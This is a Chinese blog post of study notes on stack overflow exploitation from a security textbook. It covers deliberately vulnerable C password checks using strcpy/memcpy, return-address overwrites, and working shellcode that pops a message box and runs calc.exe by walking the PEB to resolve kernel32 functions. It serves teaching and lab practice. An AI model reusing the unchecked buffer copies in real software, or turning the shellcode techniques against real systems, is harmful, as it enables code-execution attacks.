本文最后更新于:2022-03-15 上午
前言
本篇笔记主要是《0day安全:软件漏洞分析技术》第一章第二篇的笔记,记录下栈溢出的原理和实践
栈溢出原理与实践
栈的相关概念就不再介绍了(其实是太懒了,不想再说了,主要搞逆向的对栈应该是非常熟悉了)。
修改邻接变量
函数的局部变量在栈中是一个一个挨着排列的,如果在这些局部变量之中有数组之类的缓冲区,并且程序中存在着数组越界的缺陷,那么越界的数组元素就有可能破坏栈中的相邻变量的值,甚至破坏其中保存的EBP值、返回地址等重要数据。
如图,栈中保存着返回地址,成功覆盖且修改返回地址,指向其他地方就可以执行自己的代码。
现在编写一个简单的例子,来进行说明。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include "stdafx.h" #include <stdio.h> #include <string.h> #define PASSWORD "1234567" int a(char *password) { int iRet; char buffer[8]; iRet = strcmp(password,PASSWORD); strcpy(buffer,password); return iRet; } int main() { int iFlag=0; char password[1024]; while(1) { printf("please input password\n"); scanf("%s",password); iFlag=a(password); if(iFlag) { printf("wrong\n"); } else { printf("right\n"); break; } } return 0; }
|
只有输入正确的密码才会提示right
从上述例子可以看到,我们需要输入密码,然后会调用a函数来进行比较,这是一个人为构造的栈溢出漏洞。
使用OD打开此程序进行调试查看,输入7654321
当执行完strcpy
函数之后,可以看到此时ebp-4
存放的是strcmp
的返回值,而上面就是buffer数组了。可以看到此时如果buffer数组的长度再长一些,就会成功覆盖到返回值。根据 strcpy
函数返回值,我们只需要将保存iRet
的地方覆盖为0即可。
现在尝试输入123456789
查看栈内情况,可以看到9已经覆盖了原来的值1。
对于123456789
这样一个字符串来说还存在隐藏的第十个字符,截断符NULL
也占一个位,也就是如果我们想要成功覆盖返回值,只需要构造一个长度为8的字符串即可。但是必须要大于1234567,因为strcmp返回值如果是小于的话,返回值是-1,也就是FFFFFFFF,这样的话,是没有办法构造字符串成功覆盖的。
输入八个a,查看结果,可以看到本来应该是1的,现在是0。
利用栈溢出,成功绕过验证
修改函数返回地址
前面修改了返回值,而在返回值下面不远处就是返回地址,如果我们可以修改返回地址就会造成更大的伤害。
尝试构造更加长的字符串,输入两串1-9,可以看到此时返回地址处已经被成功覆盖了。
现在只要想办法覆盖到返回地址,让那里的值刚好是另一个地址的值,那么在执行retn
的时候就会跳到另一个地址去执行指令。我们现在想办法,让其返回的时候直接返回到成功的地方,就可以了。调试一下,可以看到当前输出正确的地址是0x401106
,在返回值处填入此值,就会直接返回到正确处。
控制程序的执行流程
一些十六进制值无法用键盘输入,所以将代码进行修改,使其读取文件内容来进行比较。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #include "stdafx.h" #include <stdio.h> #include <string.h> #define PASSWORD "1234567"
int a(char *password) { int iRet; char buffer[8]; iRet = strcmp(password,PASSWORD); strcpy(buffer,password); return iRet; }
int main() { int iFlag=0; char password[1024]; FILE * fp; if(!(fp=fopen("1.txt","rw+"))) { return 0; } fscanf(fp,"%s",password); iFlag = a(password); if(iFlag) { printf("wrong\n"); } else { printf("right\n"); } fclose(fp); getchar(); return 0; }
|
在1.txt内写入如下内容,前两组1234
是buffer数组,第三组覆盖iRet,第四组覆盖返回值上面的栈空间,第五组40111F
就是输出right的地方,直接让其返回到这里,这样一直都会是正确。
打开程序就会直接提示正确,但是程序也提示了遇到了一些问题,这是因为栈空间被修改,退出时无法保持栈平衡,奔溃了。
代码植入
前面已经介绍了如何覆盖返回地址,前面是返回到程序自身的地址,如果我们构造自己的代码,然后让程序返回到我们自己写的代码处,就可以实现我们想要的功能。修改下之前写的代码,主要修改的地方是buffer的长度,还有fscanf
修改为了fread
,strcpy
修改为了memcpy
,主要是之前的函数遇到0就截止了,所以用这两个函数好了。加入LoadLibrary(“user32.dll”),是为了后面shellcode中调用messagebox。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include "stdafx.h" #include <stdio.h> #include <string.h> #include <windows.h> #define PASSWORD "1234567"
int a(char *password) { int iRet; char buffer[44]; iRet = strcmp(password,PASSWORD); memcpy(buffer,password,100); return iRet; }
int main() { int iFlag=0; char password[1024]; FILE * fp; LoadLibrary("user32.dll"); if(!(fp=fopen("1.txt","rw+"))) { return 0; } fread(password,1024,1,fp); iFlag = a(password); if(iFlag) { printf("wrong\n"); } else { printf("right\n"); } fclose(fp); getchar(); return 0; }
|
我们实现一个弹窗的效果,调用MessageBoxA
先来看一下shellcode,这是我的shellcode,书上是通过buffer的大小来保证足够的栈空间执行代码,我没有用书上的方法,我的buffer中存放就是刚好我的shellcode,我是用代码来开辟栈空间。
sub esp,0x100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <Windows.h> __declspec(naked) int MAIN() { __asm { sub esp,0x100 push 0 push 'eik' push 'ca1b' mov eax ,esp push 0 push 'tset' mov ebx,esp push 0 push ebx push eax push 0 mov eax,0x77D507EA call eax } }
|
首先先通过调试来确定这段代码的开头在哪里,可以看到是12FAEC
,这个时候可以构建txt了。
还有就是代码中的MeeageBoxA的地址,可以通过工具Dependency Walker
来确定,在当前使用的操作系统中,我的是XP,拖入一个调用了user32.dll的程序,也可以直接把user32.dll拿出来分析。
如图可以看到user32.dll的基地址是77D10000
,而MessageBoxA
在其中的偏移是407EA
,相加就是77D507EA
,这就是MessageBoxA
的地址。
将shellcode写入,并且将执行shellcode的起始位置写入末尾,来覆盖返回地址。
执行retn
之后,可以看到成功来到了shellcode处。
实现了弹窗
也可以在shellcode中实现所有的函数动态加载
在这里,写了一些shellcode的东西shellcode学习
根据这些可以写一个弹计算器的,来进行实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| #include <Windows.h> DWORD getKernel32(); FARPROC _GetProcAddress(HMODULE hModule); typedef UINT (WINAPI* FN_WinExec)( _In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow); int MAIN() { __asm { sub esp,0x1000 } HMODULE hAddr = (HMODULE)getKernel32(); typedef FARPROC(WINAPI* FN_GetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName ); FN_GetProcAddress fn_GetProcAddress; fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddress(hAddr); typedef HMODULE(WINAPI* FN_LoadLibraryA)( _In_ LPCSTR lpLibFileName); char szLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 }; FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress(hAddr, szLoadLibraryA); char szWinexec[] = { 'W','i','n' ,'E' ,'x' ,'e' ,'c' ,0 }; FN_WinExec my_WinExec = (FN_WinExec)fn_GetProcAddress(hAddr, szWinexec); char szCalc[] = { 'c','a' ,'l' ,'c' ,'.' ,'e' ,'x' ,'e' ,0 }; my_WinExec(szCalc, 0); return 0; } _declspec(naked) DWORD getKernel32() { __asm { mov eax, fs: [30h] mov eax, [eax + 0Ch] mov eax, [eax + 14h] mov eax, [eax] mov eax, [eax] mov eax, [eax + 10h] ret } }
FARPROC _GetProcAddress(HMODULE hModule) { PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY lpExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDosHeader + (DWORD)pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD lpAddressOfNamesArray = (PDWORD)((DWORD)pDosHeader + lpExport->AddressOfNames); PWORD lpAddressOfNameOrdinalArray = (PWORD)((DWORD)pDosHeader + lpExport->AddressOfNameOrdinals); PDWORD lpAddressOfFuncArray = (PDWORD)((DWORD)pDosHeader + lpExport->AddressOfFunctions); DWORD dwNumber = lpExport->NumberOfNames; DWORD wHint = 0; FARPROC lpFunc; for (DWORD i = 0; i < dwNumber; i++) { char* lpFuncName = (char*)((DWORD)pDosHeader + lpAddressOfNamesArray[i]); if (lpFuncName[0] == 'G' && lpFuncName[1] == 'e' && lpFuncName[2] == 't' && lpFuncName[3] == 'P' && lpFuncName[4] == 'r' && lpFuncName[5] == 'o' && lpFuncName[6] == 'c' && lpFuncName[7] == 'A' && lpFuncName[8] == 'd' && lpFuncName[9] == 'd' && lpFuncName[10] == 'r' && lpFuncName[11] == 'e' && lpFuncName[12] == 's' && lpFuncName[13] == 's') { wHint = lpAddressOfNameOrdinalArray[i]; lpFunc = (FARPROC)((DWORD)pDosHeader + lpAddressOfFuncArray[wHint]); break; } } return lpFunc; }
|
实现效果
总结
本篇主要是学习了栈溢出的原理,及其中的一些利用,难度不是很高。不过我在做的过程中,还是遇到了一些问题,漏洞利用一定要动手去调试,不能光靠看就得出其中的一些结论。还有一定要注意栈的空间,执行shellcode时候是否有足够的空间,不然压栈是会覆盖原始代码的。